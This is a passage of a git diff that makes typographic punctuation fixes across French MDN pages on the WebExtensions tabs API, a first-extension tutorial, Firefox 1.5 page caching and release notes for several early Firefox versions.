{{WebExtAPIRef("tabs.Tab")}} contenant les onglets de la fenêtre active. Il parcourt ensuite l'objet pour rechercher et renvoyer l'objet onglet actif : +Le code de déplacement appelle d'abord `callOnActiveTab()` qui à son tour appelle `getCurrentWindowTabs()` pour obtenir un objet {{WebExtAPIRef("tabs.Tab")}} contenant les onglets de la fenêtre active. Il parcourt ensuite l'objet pour rechercher et renvoyer l'objet onglet actif : ```js function callOnActiveTab(callback) { @@ -378,7 +378,7 @@ Les fonctions restantes à dupliquer, recharger, créer et supprimer des onglets ## Manipulation du niveau du zoom d'un onglet -Le prochain ensemble de fonctions vous permet d'obtenir ({{WebExtAPIRef("tabs.getZoom")}}) et de définir ({{WebExtAPIRef("tabs.setZoom")}}) le niveau de zoom dans un onglet. Vous pouvez également récupérer les paramètres de zoom ({{WebExtAPIRef("tabs.getZoomSettings")}}) mais, au moment de l'écriture, la possibilité de définir les paramètres ({{WebExtAPIRef("tabs.setZoomSettings")}}) n'était pas disponible dans Firefox. +Le prochain ensemble de fonctions vous permet d'obtenir ({{WebExtAPIRef("tabs.getZoom")}}) et de définir ({{WebExtAPIRef("tabs.setZoom")}}) le niveau de zoom dans un onglet. Vous pouvez également récupérer les paramètres de zoom ({{WebExtAPIRef("tabs.getZoomSettings")}}) mais, au moment de l'écriture, la possibilité de définir les paramètres ({{WebExtAPIRef("tabs.setZoomSettings")}}) n'était pas disponible dans Firefox. Le niveau de zoom peut être compris entre 30% et 300% (représenté par des décimales de 0.3 à 3). @@ -439,11 +439,11 @@ Pour la fonction zoom, ceci s'exécute : } ``` -Ce code utilise `callOnActiveTab()` pour obtenir les détails de l'onglet actif, puis {{WebExtAPIRef("tabs.getZoom")}} obtient le facteur de zoom actuel de l'onglet. Le zoom actuel est comparé au maximum défini (`MAX_ZOOM`) et une alerte est émise si l'onglet est déjà au zoom maximum. Sinon, le niveau de zoom est incrémenté mais limité au zoom maximum, puis le zoom est défini avec {{WebExtAPIRef("tabs.getZoom")}}. +Ce code utilise `callOnActiveTab()` pour obtenir les détails de l'onglet actif, puis {{WebExtAPIRef("tabs.getZoom")}} obtient le facteur de zoom actuel de l'onglet. Le zoom actuel est comparé au maximum défini (`MAX_ZOOM`) et une alerte est émise si l'onglet est déjà au zoom maximum. Sinon, le niveau de zoom est incrémenté mais limité au zoom maximum, puis le zoom est défini avec {{WebExtAPIRef("tabs.getZoom")}}. ## Manipuler le CSS d'un onglet -Une autre fonctionnalité importante offerte par l'API Tabs est la possibilité de manipuler le CSS dans un onglet — ajouter un nouveau CSS dans un onglet ({{WebExtAPIRef("tabs.insertCSS")}}) ou supprimer CSS d'un onglet ({{WebExtAPIRef("tabs.removeCSS")}}). +Une autre fonctionnalité importante offerte par l'API Tabs est la possibilité de manipuler le CSS dans un onglet — ajouter un nouveau CSS dans un onglet ({{WebExtAPIRef("tabs.insertCSS")}}) ou supprimer CSS d'un onglet ({{WebExtAPIRef("tabs.removeCSS")}}). Cela peut être utile si vous voulez, par exemple, mettre en évidence certains éléments de la page ou modifier la disposition par défaut de la page (liste courte des cas d'utilisation). @@ -459,10 +459,10 @@ Voyons comment cela se passe. Pour utiliser les fonctionnalités CSS dont vous avez besoin : -- Permission `"tabs"` et [permission hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) ou +- Permission `"tabs"` et [permission hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) ou - Permission `"activeTab"`. -Ce dernier est le plus utile, car il permet à une extension d'utiliser {{WebExtAPIRef("tabs.insertCSS")}} et {{WebExtAPIRef("tabs.removeCSS")}} dans l'onglet actif lorsqu'il est exécuté depuis le navigateur de l'extension ou action de la page, menu contextuel ou un raccourci. +Ce dernier est le plus utile, car il permet à une extension d'utiliser {{WebExtAPIRef("tabs.insertCSS")}} et {{WebExtAPIRef("tabs.removeCSS")}} dans l'onglet actif lorsqu'il est exécuté depuis le navigateur de l'extension ou action de la page, menu contextuel ou un raccourci. ```json { @@ -522,7 +522,7 @@ gettingAllTabs.then((tabs) => { }); ``` -`initializePageAction` utilise `protocolIsApplicable()` pour déterminer si l'URL de l'onglet actif est celle à laquelle le CSS peut être appliqué : +`initializePageAction` utilise `protocolIsApplicable()` pour déterminer si l'URL de l'onglet actif est celle à laquelle le CSS peut être appliqué : ```js function protocolIsApplicable(url) { @@ -532,7 +532,7 @@ function protocolIsApplicable(url) { } ``` -Ensuite, si l'exemple peut agir sur l'onglet, `initializePageAction()` définit l'icône `pageAction` (barre de navigation) et le titre de l'onglet pour utiliser les versions ‘off’ avant de rendre la `pageAction` visible : +Ensuite, si l'exemple peut agir sur l'onglet, `initializePageAction()` définit l'icône `pageAction` (barre de navigation) et le titre de l'onglet pour utiliser les versions ‘off’ avant de rendre la `pageAction` visible : ```js function initializePageAction(tab) { @@ -551,7 +551,7 @@ Maintenant, un écouteur sur `geAction.onClicked` attend que l'icône pageAction browser.pageAction.onClicked.addListener(toggleCSS); ``` -`toggleCSS()` obtient le titre de la `pageAction` puis prend l'action décrite : +`toggleCSS()` obtient le titre de la `pageAction` puis prend l'action décrite : - **Pour "Appliquer CSS”:** @@ -586,7 +586,7 @@ function toggleCSS(tab) { } ``` -Enfin, pour s'assurer que `pageAction` est valide après chaque mise à jour de l'onglet, un écouteur sur {{WebExtAPIRef("tabs.onUpdated")}} appelle `initializePageAction()` chaque fois que l'onglet est mis à jour pour vérifier que l'onglet utilise toujours un protocole auquel le CSS peut être appliqué. +Enfin, pour s'assurer que `pageAction` est valide après chaque mise à jour de l'onglet, un écouteur sur {{WebExtAPIRef("tabs.onUpdated")}} appelle `initializePageAction()` chaque fois que l'onglet est mis à jour pour vérifier que l'onglet utilise toujours un protocole auquel le CSS peut être appliqué. ```js browser.tabs.onUpdated.addListener((id, changeInfo, tab) => { @@ -600,7 +600,7 @@ browser.tabs.onUpdated.addListener((id, changeInfo, tab) => { Il existe deux autres fonctionnalités de l'API Tabs qui ne rentrent pas dans l'une des sections précédentes : - capturez le contenu de l'onglet visible avec {{WebExtAPIRef("tabs.captureVisibleTab")}}. -- détecter la langue principale du contenu dans un onglet en utilisant {{WebExtAPIRef("tabs.detectLanguage")}}, que vous pourriez utiliser, par exemple, pour faire correspondre la langue de l'interface utilisateur de votre extension avec celle de la page dans laquelle elle s'exécute. +- détecter la langue principale du contenu dans un onglet en utilisant {{WebExtAPIRef("tabs.detectLanguage")}}, que vous pourriez utiliser, par exemple, pour faire correspondre la langue de l'interface utilisateur de votre extension avec celle de la page dans laquelle elle s'exécute. ## Apprendre encore plus diff --git a/files/fr/mozilla/add-ons/webextensions/your_first_webextension/index.md b/files/fr/mozilla/add-ons/webextensions/your_first_webextension/index.md index 2f4acc2fa4..72f938d2be 100644 --- a/files/fr/mozilla/add-ons/webextensions/your_first_webextension/index.md +++ b/files/fr/mozilla/add-ons/webextensions/your_first_webextension/index.md @@ -14,13 +14,13 @@ translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension Cet article vous montre comment créer une extension Firefox, du début à la fin. L'extension ajoute une bordure de couleur rouge sur toutes les pages chargées depuis le site "mozilla.org" ou n'importe lequel de ses sous-domaines. -Le code source de cet exemple est disponible sur GitHub : <https://github.com/mdn/webextensions-examples/tree/master/borderify>. +Le code source de cet exemple est disponible sur GitHub : <https://github.com/mdn/webextensions-examples/tree/master/borderify>. Pour commencer, il vous faut Firefox (dans la version 45 ou avec une version supérieure). ## Écriture de l'extension -Créez un nouveau répertoire et déplacez vous à l'intérieur. Par exemple, dans votre ligne de commande/terminal vous pourriez le faire comme ceci : +Créez un nouveau répertoire et déplacez vous à l'intérieur. Par exemple, dans votre ligne de commande/terminal vous pourriez le faire comme ceci : ```bash mkdir borderify @@ -29,7 +29,7 @@ cd borderify ### manifest.json -Créez un nouveau fichier nommé `manifest.json` directement dans le répertoire `borderify` et tapez-y le contenu suivant : +Créez un nouveau fichier nommé `manifest.json` directement dans le répertoire `borderify` et tapez-y le contenu suivant : ```json { @@ -54,9 +54,9 @@ Créez un nouveau fichier nommé `manifest.json` directement dans le répertoire } ``` -- Les trois premières clés : [`manifest_version`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version), [`name`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/name), et [`version`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version) sont obligatoires et contiennent des métadonnées fondamentales nécessaires au module. -- [`description`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description) est optionnelle, mais recommandée : elle s'affiche dans le gestionnaire de module. -- [`icons`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons) est optionnelle, mais recommandée : elle permet d'établir l'icône du module qui s'affichera dans le gestionnaire de module. +- Les trois premières clés : [`manifest_version`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version), [`name`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/name), et [`version`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version) sont obligatoires et contiennent des métadonnées fondamentales nécessaires au module. +- [`description`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description) est optionnelle, mais recommandée : elle s'affiche dans le gestionnaire de module. +- [`icons`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons) est optionnelle, mais recommandée : elle permet d'établir l'icône du module qui s'affichera dans le gestionnaire de module. La clé la plus intéressante ici est [`content_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts), qui demande à Firefox de charger un script dans toutes les pages dont l'URL correspond à un motif de correspondance de domaines spécifique. Dans notre cas, nous demandons à Firefox de charger un script appelé `borderify.js` dans toutes les pages HTTP ou HTTPS du domaine "mozilla.org" et tous ses sous-domaines. @@ -106,7 +106,7 @@ Ce script sera chargé dans chaque page où le domaine correspond au motif fourn ## Essai -D'abord, vérifiez de nouveau que les bons fichiers sont au bon endroit : +D'abord, vérifiez de nouveau que les bons fichiers sont au bon endroit : borderify/ icons/ @@ -126,13 +126,13 @@ Une autre alternative est d’exécuter l'extension depuis la ligne de commande ### Test -Rendez-vous sur une page web du domaine "mozilla.org". Vous devriez y voir une bordure rouge qui entoure la page : +Rendez-vous sur une page web du domaine "mozilla.org". Vous devriez y voir une bordure rouge qui entoure la page : {{EmbedYouTube("rxBQl2Z9IBQ")}} -> **Note :** Toutefois, n'essayez pas ce module sur addons.mozilla.org ! Les scripts de contenu sont bloqués sur ce domaine. +> **Note :** Toutefois, n'essayez pas ce module sur addons.mozilla.org ! Les scripts de contenu sont bloqués sur ce domaine. -Expérimentez un peu en modifiant le contenu du script, en changeant par exemple la couleur de la bordure ou en altérant le contenu de la page. Puis sauvegardez le content script, rechargez les fichiers du module en cliquant sur le bouton « Recharger » dans about:debugging. Les changements sont immédiats : +Expérimentez un peu en modifiant le contenu du script, en changeant par exemple la couleur de la bordure ou en altérant le contenu de la page. Puis sauvegardez le content script, rechargez les fichiers du module en cliquant sur le bouton « Recharger » dans about:debugging. Les changements sont immédiats : {{EmbedYouTube("NuajE60jfGY")}} @@ -142,9 +142,9 @@ Expérimentez un peu en modifiant le contenu du script, en changeant par exemple Afin que d'autres personnes puissent utiliser votre module, il vous faut l'empaqueter et le soumettre à la signature de Mozilla. Pour en apprendre plus, voir ["Publier votre extension"](/fr/docs/orphaned/Mozilla/Add-ons/WebExtensions/Package_your_extension_). -## Et ensuite ? +## Et ensuite ? -Maintenant que vous avez eu une introduction au processus de développement d'une WebExtension pour Firefox, voici quelques suggestions pour la suite : +Maintenant que vous avez eu une introduction au processus de développement d'une WebExtension pour Firefox, voici quelques suggestions pour la suite : - [Rédiger une extension plus complexe](/fr/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension) - [En lire d'avantage sur l'anatomie d'une WebExtensions](/fr/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension) diff --git a/files/fr/mozilla/firefox/index.md b/files/fr/mozilla/firefox/index.md index 57ba3db627..48c45d8ddb 100644 --- a/files/fr/mozilla/firefox/index.md +++ b/files/fr/mozilla/firefox/index.md @@ -29,7 +29,7 @@ Découvrez comment créer des modules complémentaires pour [Firefox](https://ww ## Éditions de Firefox -Firefox est disponible sous cinq **éditions** différentes, l'une d’entre-elles est forcément adaptée pour vous ! +Firefox est disponible sous cinq **éditions** différentes, l'une d’entre-elles est forcément adaptée pour vous ! ### Firefox Nightly diff --git a/files/fr/mozilla/firefox/releases/1.5/adapting_xul_applications_for_firefox_1.5/index.md b/files/fr/mozilla/firefox/releases/1.5/adapting_xul_applications_for_firefox_1.5/index.md index ee16ddfc9c..8ea3e0a665 100644 --- a/files/fr/mozilla/firefox/releases/1.5/adapting_xul_applications_for_firefox_1.5/index.md +++ b/files/fr/mozilla/firefox/releases/1.5/adapting_xul_applications_for_firefox_1.5/index.md @@ -21,8 +21,8 @@ Cette page contient une liste des modifications de [Firefox 1.5](fr/Firefox_1.5) - [Modifications XUL pour Firefox 1.5](fr/Modifications_XUL_pour_Firefox_1.5) - [XPCNativeWrapper](fr/XPCNativeWrapper) sont activés par défaut et leurs comportements diffèrent légèrement par rapport à 1.0.x - Une méthode plus simple [d'enregistrement chrome](fr/Enregistrement_chrome) rend obsolète contents.rdf -- Pour les menus contextuels avec overlay : la fonction `gContextMenu.linkURL()` a été renommée en `gContextMenu.getLinkURL()` et `linkURL` est maintenant une propriété. Pour l'utiliser de manière rétrocompatible : - url = 'getLinkURL' in gContextMenu ? gContextMenu.getLinkURL() : gContextMenu.linkURL(); +- Pour les menus contextuels avec overlay : la fonction `gContextMenu.linkURL()` a été renommée en `gContextMenu.getLinkURL()` et `linkURL` est maintenant une propriété. Pour l'utiliser de manière rétrocompatible : + url = 'getLinkURL' in gContextMenu ? gContextMenu.getLinkURL() : gContextMenu.linkURL(); ### Autres informations diff --git a/files/fr/mozilla/firefox/releases/1.5/index.md b/files/fr/mozilla/firefox/releases/1.5/index.md index 86f0a7e964..449cd0d75b 100644 --- a/files/fr/mozilla/firefox/releases/1.5/index.md +++ b/files/fr/mozilla/firefox/releases/1.5/index.md @@ -20,11 +20,11 @@ Plusieurs outils et extensions sont disponibles pour aider les développeurs à - L'affichage du code source d'une page avec coloration syntaxique et recherche intégrée. - Des [extensions](https://addons.mozilla.org/extensions/showlist.php?application=firefox&category=Developer%20Tools) comme [Firebug](http://www.joehewitt.com/software/firebug/), [la barre d'outils Web Developer](</fr/Extension_Firefox_Web_Developer_(externe)>), [Live HTTP Headers](</fr/Live_HTTP_Headers_(externe)>), [un validateur HTML](</fr/Validateur_HTML_en_français_(externe)>), [une extension pour les développeurs d'extensions](</fr/Extension_Developer's_Extension_(externe)>) et bien d'autres. -**Note :** Certaines extensions ne sont pas encore supportées par Firefox 1.5 et seront automatiquement désactivées. +**Note :** Certaines extensions ne sont pas encore supportées par Firefox 1.5 et seront automatiquement désactivées. ## Fonctionnalités -Voici certaines des nouvelles fonctionnalités de Firefox 1.5 : +Voici certaines des nouvelles fonctionnalités de Firefox 1.5 : ### Site Web et développeurs d'applications @@ -83,7 +83,7 @@ Voici certaines des nouvelles fonctionnalités de Firefox 1.5 : - **Navigation plus rapide** avec une performance accrue des boutons permettant de reculer ou d'avancer d'une page. - **Réorganisation des onglets par glisser-déposer.** - **Le dictionnaire MediaDICO a été ajouté à la liste des moteurs de recherche**. -- **Une meilleure prise en main** avec des pages d'erreur descriptives, un menu d'options redessiné, la découverte automatique des fils RSS et un « mode sans échec » plus facile à utiliser. +- **Une meilleure prise en main** avec des pages d'erreur descriptives, un menu d'options redessiné, la découverte automatique des fils RSS et un « mode sans échec » plus facile à utiliser. - **Meilleur support de l'accessibilité**, notamment pour les pages DHTML. - **Assistant pour les sites Web non fonctionnels** pour rapporter les sites Web qui ne fonctionnent pas avec Firefox. - **Meilleur support de Mac OS X** (10.2 et supérieur), avec la migration des profils de Safari et d'Internet Explorer pour Mac. @@ -96,7 +96,7 @@ Voici certaines des nouvelles fonctionnalités de Firefox 1.5 : ### Support des standards Web ouverts -Le support des standards Web de Firefox garde une longueur d'avance avec des implémentations fonctionnelles et multiplateformes pour : +Le support des standards Web de Firefox garde une longueur d'avance avec des implémentations fonctionnelles et multiplateformes pour : - Hypertext Markup Language ([HTML](/fr/HTML)) et Extensible Hypertext Markup Language ([XHTML](/fr/XHTML)): [HTML 4.01](http://www.w3.org/TR/html401/) et [XHTML 1.0/1.1](http://www.w3.org/TR/xhtml1/) - Cascading Style Sheets ([CSS](/fr/CSS)): [CSS niveau 1](http://www.w3.org/TR/REC-CSS1), [CSS niveau 2](http://www.w3.org/TR/REC-CSS2) et quelques parties de [CSS niveau 3](http://www.w3.org/Style/CSS/current-work.html) @@ -107,7 +107,7 @@ Le support des standards Web de Firefox garde une longueur d'avance avec des imp - XML Path Language ([XPath](/fr/XPath)): [XPath 1.0](http://www.w3.org/TR/xpath) - Resource Description Framework ([RDF](/fr/RDF)): [RDF](http://www.w3.org/RDF/) - Simple Object Access Protocol (SOAP): [SOAP 1.1](http://www.w3.org/TR/SOAP/) -- [JavaScript](/fr/JavaScript) 1.6, basé sur [ECMA-262](/fr/ECMAScript), révision 3 : [ECMA-262](http://www.ecma-international.org/publications/standards/Ecma-262.htm) +- [JavaScript](/fr/JavaScript) 1.6, basé sur [ECMA-262](/fr/ECMAScript), révision 3 : [ECMA-262](http://www.ecma-international.org/publications/standards/Ecma-262.htm) Firefox 1.5 supporte un bon nombre de protocoles de transport de données (HTTP, FTP, SSL, TLS et d'autres), les caractères multi-langages (Unicode), plusieurs formats graphiques (GIF, JPEG, PNG, SVG et d'autres) et la dernière version du langage de script le plus populaire au monde, [JavaScript 1.6](/fr/Nouveautés_dans_JavaScript_1.6). diff --git a/files/fr/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.md b/files/fr/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.md index 956597e69b..58b258816f 100644 --- a/files/fr/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.md +++ b/files/fr/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.md @@ -16,18 +16,18 @@ original_slug: Utilisation_du_cache_de_Firefox_1.5 ### Introduction -[Firefox 1.5](/fr/Firefox_1.5_pour_les_développeurs) met en mémoire cache des pages Web entières, avec leurs états JavaScript, pour une même session de navigation. Revenir ou avancer entre des pages déjà visitées ne nécessite aucun chargement de page et les états JavaScript sont préservés. Cette fonctionnalité parfois appelée **bfcache** (pour « Back-Forward Cache ») rend la navigation très rapide. Ce cache est préservé en mémoire jusqu'à ce que l'utilisateur ferme le navigateur. +[Firefox 1.5](/fr/Firefox_1.5_pour_les_développeurs) met en mémoire cache des pages Web entières, avec leurs états JavaScript, pour une même session de navigation. Revenir ou avancer entre des pages déjà visitées ne nécessite aucun chargement de page et les états JavaScript sont préservés. Cette fonctionnalité parfois appelée **bfcache** (pour « Back-Forward Cache ») rend la navigation très rapide. Ce cache est préservé en mémoire jusqu'à ce que l'utilisateur ferme le navigateur. -Il existe des cas où Firefox ne met pas en cache les pages. Vous trouverez ci-dessous certaines raisons classiques de programmation faisant qu'une page n'est pas mise en cache : +Il existe des cas où Firefox ne met pas en cache les pages. Vous trouverez ci-dessous certaines raisons classiques de programmation faisant qu'une page n'est pas mise en cache : - La page utilise un gestionnaire `unload` -- La page définit « cache-control: no-store » -- La page définit « cache-control: no-cache » et le site est sécurisé par HTTPS +- La page définit « cache-control: no-store » +- La page définit « cache-control: no-cache » et le site est sécurisé par HTTPS - La page n'est pas complètement chargée quand l'utilisateur la quitte pour en charger une autre - La page de niveau supérieur de la page contient des cadres qui ne peuvent pas être mis en cache - La page est dans un cadre et l'utilisateur charge une nouvelle page dans ce cadre (dans ce cas, lorsque l'utilisateur navigue vers une autre page, le dernier contenu chargé dans les cadres est celui mis en cache) -Cette nouvelle fonctionnalité de mise en cache modifie le comportement du chargement des pages, et les webmestres peuvent désirer : +Cette nouvelle fonctionnalité de mise en cache modifie le comportement du chargement des pages, et les webmestres peuvent désirer : - savoir qu'une page a été accédée (lorsqu'elle est chargée depuis le cache de l'utilisateur) - définir le comportement d'une page lorsque l'utilisateur la quitte (tout en lui permettant d'être mise en cache) @@ -38,7 +38,7 @@ Le navigateur offre aux webmestres deux nouveaux évènements pour cela. Si vous utilisez ces nouveaux évènements, vos pages continueront à s'afficher correctement dans les autres navigateurs (nous avons testé des versions antérieures de Firefox, Internet Explorer, Opera et Safari), et elles utiliseront ces nouvelles fonctionnalités de mise en cache lors de leur chargement dans Firefox 1.5. -Le comportement standard des pages Web est : +Le comportement standard des pages Web est : 1. L'utilisateur accède à une page. 2. Au cours du chargement de la page, les scripts contenus dans la page (_inline_) s'exécutent. @@ -64,7 +64,7 @@ Si vous appelez des fonctions JavaScript comme faisant partie de l'évènement ` Si vous désirez définir un comportement se produisant lorsque l'utilisateur quitte la page, mais ne voulez pas utiliser l'évènement `unload` (ce qui empêcherait la page d'être mise en cache), vous pouvez utiliser le nouvel évènement `pagehide`. Comme `pageshow`, l'évènement `pagehide` utilise une propriété booléenne appelée `persisted`. Cette propriété est définie à `true` si la page est mise en cache par le navigateur. Lorsque cette propriété est définie à `false`, le gestionnaire `unload`, s'il existe, se déclenche immédiatement après l'évènement `pagehide`. -Firefox 1.5 essaie de simuler les évènements de chargement dans le même ordre de déroulement que lorsque la page est chargée initialement. Les cadres sont traités de la même façon que le document principal. Si la page contient des cadres, cela signifie que lorsque la page mise en cache est chargée : +Firefox 1.5 essaie de simuler les évènements de chargement dans le même ordre de déroulement que lorsque la page est chargée initialement. Les cadres sont traités de la même façon que le document principal. Si la page contient des cadres, cela signifie que lorsque la page mise en cache est chargée : - les évènements `pageshow` de chaque cadre se déclenchent avant l'évènement `pageshow` du document principal. - lorsque l'utilisateur quitte la page mise en cache, l'évènement `pagehide` de chaque cadre se déclenche avant l'évènement `pagehide` du document principal. @@ -72,9 +72,9 @@ Firefox 1.5 essaie de simuler les évènements de chargement dans le même ordre ### Exemple de code -L'exemple ci-dessous illustre une page utilisant à la fois les évènements `load` et `pageshow`. La page se comporte de la façon suivante : +L'exemple ci-dessous illustre une page utilisant à la fois les évènements `load` et `pageshow`. La page se comporte de la façon suivante : -- Dans les autres navigateurs que Firefox 1.5, voici ce qui se produit à chaque chargement de la page : l'évènement `load` déclenche la fonction `onLoad`, qui appelle la fonction `onPageShow` (ainsi qu'une autre fonction). +- Dans les autres navigateurs que Firefox 1.5, voici ce qui se produit à chaque chargement de la page : l'évènement `load` déclenche la fonction `onLoad`, qui appelle la fonction `onPageShow` (ainsi qu'une autre fonction). <!----> @@ -84,7 +84,7 @@ L'exemple ci-dessous illustre une page utilisant à la fois les évènements `lo - Dans Firefox 1.5, lorsque la page est chargée depuis le cache, seul l'évènement `pageshow` se déclenche. Comme `persisted` est égal à `true`, seules les actions JavaScript de la fonction `onPageShow` sont effectuées. -Dans cet exemple : +Dans cet exemple : - La page calcule et affiche la date et l'heure courantes à chaque chargement de la page. Ce calcul prend en compte les secondes et millisecondes afin que la fonctionnalité puisse être testée facilement. - Le curseur est placé dans le champ Nom du formulaire au premier chargement de la page. Dans Firefox 1.5, lorsque l'utilisateur revient sur la page, le curseur reste dans le champ dans lequel il se trouvait lorsqu'il l'a quittée. Dans les autres navigateurs, le curseur retourne dans le champ Nom. @@ -95,7 +95,7 @@ Dans cet exemple : "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <head> - <title>Commande : Exemple de Firefox 1.5</title> + <title>Commande : Exemple de Firefox 1.5</title> <style type="text/css"> body, p { font-family: Verdana, sans-serif; @@ -132,13 +132,13 @@ Dans cet exemple : <h2>Commande</h2> <form name="zipForm" action="http://www.example.com/formresult.html" method="get"> - <label for="timefield">Date et heure :</label> + <label for="timefield">Date et heure :</label> <input type="text" id="timefield"><br> - <label for="name">Nom :</label> + <label for="name">Nom :</label> <input type="text" id="name"><br> - <label for="address">Adresse e-mail :</label> + <label for="address">Adresse e-mail :</label> <input type="text" id="address"><br> - <label for="order">Numéro de commande :</label> + <label for="order">Numéro de commande :</label> <input type="text" id="order"><br> <input type="submit" name="submit" value="Soumettre la requête"> </form> diff --git a/files/fr/mozilla/firefox/releases/19/index.md b/files/fr/mozilla/firefox/releases/19/index.md index c615b1d4a2..6f5bc7e635 100644 --- a/files/fr/mozilla/firefox/releases/19/index.md +++ b/files/fr/mozilla/firefox/releases/19/index.md @@ -63,7 +63,7 @@ Le support des [XForms](/fr/docs/XForms) a été [**retiré**](http://www.philip ## A voir également -- [Notes de versions de Firefox 19](http://www.mozilla.org/en-US/firefox/19.0beta/releasenotes/) +- [Notes de versions de Firefox 19](http://www.mozilla.org/en-US/firefox/19.0beta/releasenotes/) - [Compatibilité des sites avec Firefox 19](/fr/docs/Site_Compatibility_for_Firefox_19) ### Anciennes versions diff --git a/files/fr/mozilla/firefox/releases/2/security_changes/index.md b/files/fr/mozilla/firefox/releases/2/security_changes/index.md index 02ee208e94..558f548a09 100644 --- a/files/fr/mozilla/firefox/releases/2/security_changes/index.md +++ b/files/fr/mozilla/firefox/releases/2/security_changes/index.md @@ -20,10 +20,10 @@ Si le support de SSLv2 doit être activé, vous devrez définir avec la valeur ` ### Nouvelles fonctionnalités -- Firefox 2 supporte la [cryptographie sur courbes elliptiques](http://fr.wikipedia.org/wiki/Cryptographie_sur_les_courbes_elliptiques) (ECC) dans TLS. Le support est pour l'instant limité aux courbes de 256, 384 et 521 (oui, 521 !) bits. +- Firefox 2 supporte la [cryptographie sur courbes elliptiques](http://fr.wikipedia.org/wiki/Cryptographie_sur_les_courbes_elliptiques) (ECC) dans TLS. Le support est pour l'instant limité aux courbes de 256, 384 et 521 (oui, 521 !) bits. - Firefox 2 supporte l'extension d'identification de nom de serveur TLS pour faciliter les connexions sécurisées sur des serveurs hébergeant plusieurs serveurs virtuels sous la même adresse réseau, suivant la [RFC 3546](http://tools.ietf.org/html/rfc3546). - Lorsque Firefox 2 effectue une requête [OSCP](http://fr.wikipedia.org/wiki/OCSP) pour valider un certificat d'un serveur Web, il utilise désormais le proxy configuré pour le trafic HTTP normal. ### Détermination du chiffrement disponible -Comme toujours, vous pouvez vérifier le chiffrement supporté — celui qui a été activé ou désactivé — en cherchant « ssl » ou « tls » dans about:config. +Comme toujours, vous pouvez vérifier le chiffrement supporté — celui qui a été activé ou désactivé — en cherchant « ssl » ou « tls » dans about:config. diff --git a/files/fr/mozilla/firefox/releases/2/updating_extensions/index.md b/files/fr/mozilla/firefox/releases/2/updating_extensions/index.md index 8cd6005c4d..506fe3e851 100644 --- a/files/fr/mozilla/firefox/releases/2/updating_extensions/index.md +++ b/files/fr/mozilla/firefox/releases/2/updating_extensions/index.md @@ -10,31 +10,31 @@ original_slug: Mise_à_jour_des_extensions_pour_Firefox_2 Cet article s'adresse aux développeurs qui souhaitent mettre à jour leur extension pour qu'elle fonctionne correctement avec Firefox 2. -## Étape 1 : Mise à jour du manifeste d'installation +## Étape 1 : Mise à jour du manifeste d'installation La première étape - pour de nombreuses extensions, la seule nécessaire - est de mettre à jour le fichier du [manifeste d'installation](fr/Manifestes_d'installation), install.rdf, pour annoncer la compatibilité avec Firefox 2. -Trouvez la ligne indiquant la plus récente version de Firefox compatible. Pour Firefox 1.5, elle serait : +Trouvez la ligne indiquant la plus récente version de Firefox compatible. Pour Firefox 1.5, elle serait : <em:maxVersion>1.5.0.*</em:maxVersion> -Et remplacez-la par celle-ci : +Et remplacez-la par celle-ci : <em:maxVersion>2.0.0.*</em:maxVersion> Réinstallez ensuite votre extension. -## Étape 2 : Mise à jour des calques XUL +## Étape 2 : Mise à jour des calques XUL Firefox 2 apporte des changements au thème par défaut, et certains éléments de l'interface utilisateur ont été modifiés ou déplacés. Cela peut affecter votre extension, selon les actions de vos calques XUL. Référez-vous à l'article [Changements dans les thèmes graphiques pour Firefox 2](fr/Changements_dans_les_th%c3%a8mes_graphiques_pour_Firefox_2) pour déterminer les modifications qui pourraient avoir un effet sur votre extension. -## Étape 3 : Test +## Étape 3 : Test Assurez-vous de tester en profondeur votre extension sous Firefox 2 avant de la publier. Vous ne désirez sûrement pas que votre extension soit la cause d'un déferlement de rapports de bogues avec la toute dernière version de Firefox... -## Étape 4 : Publication +## Étape 4 : Publication Mettez à jour la description de votre extension sur <http://addons.mozilla.org>, pour vous assurez que les utilisateurs la retrouveront. diff --git a/files/fr/mozilla/firefox/releases/20/index.md b/files/fr/mozilla/firefox/releases/20/index.md index cb853c5fb1..1c52e4109b 100644 --- a/files/fr/mozilla/firefox/releases/20/index.md +++ b/files/fr/mozilla/firefox/releases/20/index.md @@ -56,7 +56,7 @@ Firefox 20 est sorti le 2 avril 2013. Cette page résume les principaux changeme ## Voir également -- [Notes de version de Firefox 20](http://www.mozilla.org/en-US/firefox/20.0/releasenotes/) +- [Notes de version de Firefox 20](http://www.mozilla.org/en-US/firefox/20.0/releasenotes/) - [Site Compatibility for Firefox 20](/fr/docs/Site_Compatibility_for_Firefox_20) ### Anciennes versions diff --git a/files/fr/mozilla/firefox/releases/21/index.md b/files/fr/mozilla/firefox/releases/21/index.md index 9bee0b101a..e39de50d36 100644 --- a/files/fr/mozilla/firefox/releases/21/index.md +++ b/files/fr/mozilla/firefox/releases/21/index.md @@ -25,7 +25,7 @@ Firefox 21 est sorti le 14 mai 2013. Cette page résume les principaux changemen ### CSS -- La valeur `none` pour {{cssxref("user-select", "-moz-user-select")}} a maintenant le même comportement que la valeur `-moz-none`, alignant Gecko sur WebKit (Chrome, Safari), Presto (Opera) et Trident (Internet Explorer) ({{bug("816298")}}). +- La valeur `none` pour {{cssxref("user-select", "-moz-user-select")}} a maintenant le même comportement que la valeur `-moz-none`, alignant Gecko sur WebKit (Chrome, Safari), Presto 